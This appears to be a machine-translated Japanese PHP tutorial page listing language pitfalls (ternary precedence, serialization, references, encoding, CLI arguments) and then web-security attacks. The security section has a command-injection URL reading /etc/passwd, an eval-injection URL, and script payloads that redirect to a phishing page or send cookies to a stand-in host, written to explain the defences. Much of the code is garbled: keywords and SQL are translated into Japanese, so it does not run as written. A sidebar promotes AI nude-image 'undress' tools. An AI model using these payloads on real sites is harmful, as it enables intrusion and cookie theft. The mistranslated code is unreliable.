ホームページ バックエンド開発 PHPチュートリアル PHP プログラミングに関する考慮事項_PHP チュートリアル

PHP プログラミングに関する考慮事項_PHP チュートリアル

Jul 14, 2016 am 10:08 AM
php who 優先度 操作する 予防 プログラミング 質問

1. PHP の暗黙的な三項演算子 (?:) の優先順位の問題:

例 1:
$person = $who または $person = "ラルエンス";
//実際には次と同等です:
$person = emptyempty($who)? "ラルエンス" : $who;
例 2
$arr = 配列(1=>1,3=>3);
$i = 2;
$a = 'テスト' . isset($arr[$i]) : $i;
$a とは何ですか? この質問は一見簡単そうに見えますが、
$a = 'テスト2';
実際、慎重に検討して実行した結果、次のようになります: 未定義のインデックス 2..
優先順位の問題により、コネクタは三項演算子よりも高い優先順位を持っています。
最初のステップは 'test' を判断することです。 isset($arr[$i]) この文字列は常に true です:
$a = $arr[$i]; php にプロンプ​​トが表示されます。
2. PHP 関数名とクラス名は大文字と小文字を区別しませんが、変数名は大文字と小文字を区別します。
そのため、私が作成した PHP モジュールには大文字小文字の問題が発生し、コンパイルに失敗することがよくあります。
3. 連載中の配信問題
複雑なデータ型を文字列に圧縮する
serialize() は変数とその値をテキスト形式にエンコードします
unserialize() は元の変数を復元します
$stooges = array('Moe','Larry','Curly');
$new = シリアライズ($stooges);
print_r($new);エコー "
";
print_r(unserialize($new));
結果: a:3:{i:0;s:3:"Moe";i:1;s:5:"Larry";i:2;s:5:"Curly";}
配列 ([0] => モー [1] => ラリー [2] => カーリー)
これらのシリアル化されたデータを URL に入れてページ間で渡すときは、データに対して urlencode() を呼び出して、データ内の URL メタ文字が確実に処理されるようにする必要があります。
$shopping = array('ケシの実ベーグル' => 2,'プレーンベーグル' => 1,'Lox' => 4);
echo 'next';
marginic_quotes_gpc および magic_quotes_runtime 構成項目の設定は、unserialize() に渡されるデータに影響します。
magic_quotes_gpc オプションが有効な場合、URL、POST 変数、および Cookie で渡されたデータは、逆シリアル化の前に、stripslashes() で処理する必要があります。
$new_cart = unserialize(stripslashes($cart)); //magic_quotes_gpc がオンの場合
$new_cart = アンシリアライズ($cart);
magic_quotes_runtime が有効な場合、シリアル化されたデータは、ファイルに書き込む前に addslashes() で処理し、読み取る前にtripslashes() で処理する必要があります。
$fp = fopen('/tmp/cart','w');
fputs($fp,addslashes(serialize($a)));
fclose($fp);
//magic_quotes_runtime がオンになっている場合
$new_cat = unserialize(stripslashes(file_get_contents('/tmp/cart')));
//magic_quotes_runtime がオフの場合
$new_cat = unserialize(file_get_contents('/tmp/cart'));
magic_quotes_runtime が有効な場合、データベースから読み取られたシリアル化されたデータは、stripslashes() によって処理される必要があり、データベースに保存されたシリアル化されたデータは、適切に保存できるように addslashes() によって処理される必要があります。
mysql_query("カート(id,data)に挿入します。values(1,'".addslashes(serialize($cart))."')");
$rs = mysql_query('ID=1 のカートからデータを選択');
$ob = mysql_fetch_object($rs);
//magic_quotes_runtime がオンになっている場合
$new_cart = unserialize(stripslashes($ob->data));
//magic_quotes_runtime がオフの場合
$new_cart = unserialize($ob->data);
オブジェクトを逆シリアル化するとき、PHP は自動的に __wakeUp() メソッドを呼び出します。これにより、オブジェクトはシリアル化中に保存されなかったさまざまな状態を再確立できるようになります。例: データベース接続など。
4. 引用に関する注意事項
PHP での参照は、同じ変数の内容に異なる名前でアクセスすることを意味します。参照は C のポインターではありません (C 言語のポインターは、変数の内容とメモリに格納されているアドレスを格納します)。変数。 。 PHP では変数名と変数の内容が異なるため、同じ内容でも異なる名前が付けられることに注意してください。最も近い類似点は、Unix のファイル名とファイル自体です。変数名はディレクトリ エントリであり、変数の内容はファイル自体です。参照は、Unix ファイル システム内の緊密なリンク、または勝利へのショートカットとして考えることができます。
1) 参照の設定を解除すると、変数名と変数の内容の間のバインドが解除されるだけです。これは変数の内容が破壊されるという意味ではありません
例: $b の設定は解除されず、$a のみが設定解除されます。
$a = 1;
$b =& $a ;
設定解除 ( $a );
echo $b; //出力: 1:
unset($a) と $a=null を使用した結果は異なります。メモリのブロックに $a のマッピングが 1 つだけある場合、unset($a) は $a=null と同等になり、メモリのブロックに $a のマッピングが 2 つある場合は自動的にリサイクルされます。 $a と $b を組み合わせた場合、 unset($a) を実行すると $a=null が発生し、 $b は変更されず、 $a=null を実行すると $a=$b=null が発生します。
理由: 変数に null を代入すると、その変数に対応するメモリ ブロックの参照カウントが直接 0 に設定され、自動的にリサイクルされます。
2) PHP 参照は参照カウントとコピーオンライトを使用します
多くの人は、Php の参照が C のポインターと同じであると誤解しています。実際には、それらは異なり、大きく異なります。配列転送プロセス中に明示的に宣言する必要のない C 言語のポインターを除き、他のポイントは * を使用して定義する必要があります。ただし、PHP のアドレスへのポインター (ポインターと同様) 関数は、はい、PHP の参照は、その名前が示すように、「参照カウント、コピーオンライト」(Copy-on-Write、COW とも略されます) の原則を採用しています。書き込み時に実際にはメモリのコピーがコピーされます。
つまり、書き込み操作が発生しない限り、次のコードのように、同じアドレスを指す変数またはオブジェクトはコピーされません。
$a = 配列('a','c'...'n');
$b = $a;
プログラムがここでのみ実行される場合、 $b と $b は同じですが、C のように異なるメモリ空間を占有することはありません。代わりに、これらは同じメモリを指します。これが php と c の違いです。 $b が $a のメモリを指すように $b=&$a と記述する必要はありません。zend はすでに参照の実装を支援しており、zend はこれをいつ行うべきかを判断するのに非常に役立ちます。このように対処すべきではないとき。
後で次のコードを書き続ける場合は、関数を追加し、パラメーターを参照渡しして、配列のサイズを出力します。
function printArray(&$arr) //参照渡し
{
print(count($arr));
}
printArray($a);
上記のコードでは、参照によって $a 配列を printArray() 関数に渡します。zend エンジンは printArray() によって $a が変更される可能性があると判断し、この時点で $a データを自動的に生成します。 $b. メモリをコピーして、ストレージに再適用します。これが、前述した「参照カウント、コピーオンライト」の概念です。
直感的な理解: $a は独自の元のメモリ空間を使用し、$b は新しく開かれたメモリ空間を使用し、この空間は $a の元の ($a または $b が変更される前) コンテンツ空間の内容を使用します。これをコピーして、その後、対応する変更を加えます。
上記のコードを次のように変更すると:
function printArray($arr) //値の転送
{
print(count($arr));
}
printArray($a);
上記のコードは $a 値を printArray() に直接渡します。現時点では参照転送がないため、コピーオンライトは行われません。
引用の詳細については、PHP での引用の詳細な説明 (参照カウント、コピーオンライト) を参照してください
5. エンコーディングの問題
プログラムコードはUTF-8コードを使用していますが、strlen関数は文字数ではなく文字列のバイト数を計算しますか?
$str = "こんにちは、こんにちは";
エコー strlen($str);
結果: ANSI=9 および utf-8=11、utf-8 の中国語文字エンコーディングは 3 バイトです。文字数を取得するには、mb_strlen()を使用します。
6. PHP でパラメータを取得する 3 つの方法
方法 1 $argc $argv を使用する
if ($argc > 1){
print_r($argv);
}
コマンドラインから /usr/local/php/bin/php ./getopt.php -f 123 -g 456 を実行します
実行結果:
# /usr/local/php/bin/php ./getopt.php -f 123 -g 456
配列
(
& [0] = & gt;
[1] => -f
& [2] = & gt; & [3] = & gt;
[4] => 456
)
方法 2: getopt function() を使用する
$オプション = "f:g:";
$opts = getopt( $options );
print_r($opts);
コマンドラインから /usr/local/php/bin/php ./getopt.php -f 123 -g 456 を実行します
実行結果:
配列
(
& [F] = & gt; & [G] = & gt;
)
方法 3: ユーザーに入力を求め、入力パラメーターを取得します。 C言語に少し似ています
fwrite(STDOUT, "名前を入力してください: ");
$name = トリム(fgets(STDIN));
fwrite(STDOUT, "こんにちは、$name!");
コマンドラインから /usr/local/php/bin/php ./getopt.php を実行します
ランニング結果
あなたの名前を入力してください: フランシス
こんにちは、フランシス!
7. PHP 文字列は、C ポインター文字列と同様に配列として使用できます
$s = '12345';
$s[$s[0]] = 0;
エコー$s
?>
結果は10345です
8. PHP を記述する非常に効率的な方法:
参考:高効率なPHPの書き方(理由の詳しい解説)
9. PHP のセキュリティ脆弱性:
PHP Webサイトに対する攻撃手法は主に以下のとおりです。
1. コマンドインジェクション
次の 5 つの関数を PHP で使用して、外部アプリケーションまたは関数を実行できます: system、exec、passthru、shell_exec、「(shell_exec と同じ関数)」
例:
$dir = $_GET["dir"];
if (isset($dir)) {
エコー「」
;
システム("ls -al ".$dir);
エコー「」
;
}
?>
http://www.test.com/ex1.php?dir=| cat /etc/passwd を送信すると、コマンドは system("ls -al | cat /etc/passwd") になりました。覗いてみてください。
2. evalインジェクション(Evalインジェクション)
eval 関数は、入力文字列パラメーターを PHP プログラム コードとして実行します。Eval インジェクションは通常、攻撃者が入力文字列を制御できる場合に発生します。
$var = "変数";
if (isset($_GET["arg"]))
{
$arg = $_GET["arg"]
eval("$var = $arg;");
エコー "$var =".$var;
}
?>
http://www.sectop.com/ex2.php?arg=phpinfo(); を送信すると、脆弱性が発生します。
コマンドインジェクションとevalインジェクションを防ぐ方法
1) 外部コマンドを実行しないようにしてください。
2) カスタム関数または関数ライブラリを使用して、外部コマンドの関数を置き換えます。サーバーによっては、これらの関数の使用を直接禁止している場合もあります。
3) コマンドパラメータを処理するには、escapeshellarg 関数を使用します。esacpeshellarg 関数は、パラメータまたはコマンドの終わりを引き起こす文字をエスケープします。一重引用符「'」は「'」に置き換えられ、二重引用符は「"」に置き換えられます。は """ に置き換えられ、セミコロン ";" は ";" に置き換えられます
3. クライアント側のスクリプト攻撃(スクリプト挿入)
クライアントサイドスクリプト埋め込み攻撃手順
1) 攻撃者は通常のユーザーとして登録した後、Web サイトにログインします。
2) メッセージページを開き、攻撃用のJSコードを挿入します
3) 他のユーザー (管理者を含む) が Web サイトにログインし、このメッセージの内容を閲覧します
4) メッセージ内容に隠されていたjsコードが実行され、攻撃が成功しました
フォームには、ブラウザが実行できるいくつかのスクリプトが入力されます:
<script>while(1){windows.open();}</script>無限ポップアップボックスを挿入します
<script>location.href="http://www.sectop.com";</script> を挿入すると、フィッシング ページにジャンプします
悪意のある HTML タグを防ぐ最善の方法は、htmlspecailchars または htmlentities を使用して特定の文字列を HTML エンティティに変換することです。
4. クロスサイトスクリプティング (XSS)
悪意のある攻撃者は、Web ページに悪意のある HTML コードを挿入し、ユーザーがそのページを閲覧すると、Web に埋め込まれた HTML コードが実行され、悪意のあるユーザーの特別な目的が達成されます。
クロスサイト スクリプティングは、攻撃者が Web サイト ユーザーの Cookie やその他の個人データを読み取るために主に使用され、攻撃者がこのデータを取得すると、このユーザーになりすまして Web サイトにログインし、このユーザーの許可を取得することができます。
クロスサイトスクリプティング攻撃の一般的な手順:
1) 攻撃者は、コメント フォームなどの何らかの方法で xss http リンクをターゲット ユーザーに送信します。
<スクリプト>ドキュメントを挿入.location= “go.somewhere.bad?cookie=+”this.cookie
またはリンク:
http://w w w.my.site/index.php?user=

http://www.bkjia.com/PHPjc/477758.htmlwww.bkjia.comtru​​ehttp://www.bkjia.com/PHPjc/477758.html技術記事 1. PHP の暗黙的な三項演算子 (?:) の優先順位の問題: 例 1: $person = $who または $person = laruence; //実際には次と同等です: $person = emptyempty($who)? 例 2 $ arr =...
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

AI Hentai Generator

AI Hentai Generator

AIヘンタイを無料で生成します。

ホットツール

メモ帳++7.3.1

メモ帳++7.3.1

使いやすく無料のコードエディター

SublimeText3 中国語版

SublimeText3 中国語版

中国語版、とても使いやすい

ゼンドスタジオ 13.0.1

ゼンドスタジオ 13.0.1

強力な PHP 統合開発環境

ドリームウィーバー CS6

ドリームウィーバー CS6

ビジュアル Web 開発ツール

SublimeText3 Mac版

SublimeText3 Mac版

神レベルのコード編集ソフト(SublimeText3)

Ubuntu および Debian 用の PHP 8.4 インストールおよびアップグレード ガイド Ubuntu および Debian 用の PHP 8.4 インストールおよびアップグレード ガイド Dec 24, 2024 pm 04:42 PM

PHP 8.4 では、いくつかの新機能、セキュリティの改善、パフォーマンスの改善が行われ、かなりの量の機能の非推奨と削除が行われています。 このガイドでは、Ubuntu、Debian、またはその派生版に PHP 8.4 をインストールする方法、または PHP 8.4 にアップグレードする方法について説明します。

PHP 開発用に Visual Studio Code (VS Code) をセットアップする方法 PHP 開発用に Visual Studio Code (VS Code) をセットアップする方法 Dec 20, 2024 am 11:31 AM

Visual Studio Code (VS Code とも呼ばれる) は、すべての主要なオペレーティング システムで利用できる無料のソース コード エディター (統合開発環境 (IDE)) です。 多くのプログラミング言語の拡張機能の大規模なコレクションを備えた VS Code は、

今まで知らなかったことを後悔している 7 つの PHP 関数 今まで知らなかったことを後悔している 7 つの PHP 関数 Nov 13, 2024 am 09:42 AM

あなたが経験豊富な PHP 開発者であれば、すでにそこにいて、すでにそれを行っていると感じているかもしれません。あなたは、運用を達成するために、かなりの数のアプリケーションを開発し、数百万行のコードをデバッグし、大量のスクリプトを微調整してきました。

PHPでHTML/XMLを解析および処理するにはどうすればよいですか? PHPでHTML/XMLを解析および処理するにはどうすればよいですか? Feb 07, 2025 am 11:57 AM

このチュートリアルでは、PHPを使用してXMLドキュメントを効率的に処理する方法を示しています。 XML(拡張可能なマークアップ言語)は、人間の読みやすさとマシン解析の両方に合わせて設計された多用途のテキストベースのマークアップ言語です。一般的にデータストレージに使用されます

JSON Web Tokens(JWT)とPHP APIでのユースケースを説明してください。 JSON Web Tokens(JWT)とPHP APIでのユースケースを説明してください。 Apr 05, 2025 am 12:04 AM

JWTは、JSONに基づくオープン標準であり、主にアイデンティティ認証と情報交換のために、当事者間で情報を安全に送信するために使用されます。 1。JWTは、ヘッダー、ペイロード、署名の3つの部分で構成されています。 2。JWTの実用的な原則には、JWTの生成、JWTの検証、ペイロードの解析という3つのステップが含まれます。 3. PHPでの認証にJWTを使用する場合、JWTを生成および検証でき、ユーザーの役割と許可情報を高度な使用に含めることができます。 4.一般的なエラーには、署名検証障害、トークンの有効期限、およびペイロードが大きくなります。デバッグスキルには、デバッグツールの使用とロギングが含まれます。 5.パフォーマンスの最適化とベストプラクティスには、適切な署名アルゴリズムの使用、有効期間を合理的に設定することが含まれます。

母音を文字列にカウントするPHPプログラム 母音を文字列にカウントするPHPプログラム Feb 07, 2025 pm 12:12 PM

文字列は、文字、数字、シンボルを含む一連の文字です。このチュートリアルでは、さまざまな方法を使用してPHPの特定の文字列内の母音の数を計算する方法を学びます。英語の母音は、a、e、i、o、u、そしてそれらは大文字または小文字である可能性があります。 母音とは何ですか? 母音は、特定の発音を表すアルファベットのある文字です。大文字と小文字など、英語には5つの母音があります。 a、e、i、o、u 例1 入力:string = "tutorialspoint" 出力:6 説明する 文字列「TutorialSpoint」の母音は、u、o、i、a、o、iです。合計で6元があります

Python による問題解決: 初心者プログラマーとして強力なソリューションをアンロックする Python による問題解決: 初心者プログラマーとして強力なソリューションをアンロックする Oct 11, 2024 pm 08:58 PM

Python は、問題解決の初心者に力を与えます。ユーザーフレンドリーな構文、広範なライブラリ、変数、条件文、ループによる効率的なコード開発などの機能を備えています。データの管理からプログラム フローの制御、反復的なタスクの実行まで、Python が提供します

PHPでの後期静的結合を説明します(静的::)。 PHPでの後期静的結合を説明します(静的::)。 Apr 03, 2025 am 12:04 AM

静的結合(静的::) PHPで後期静的結合(LSB)を実装し、クラスを定義するのではなく、静的コンテキストで呼び出しクラスを参照できるようにします。 1)解析プロセスは実行時に実行されます。2)継承関係のコールクラスを検索します。3)パフォーマンスオーバーヘッドをもたらす可能性があります。

See all articles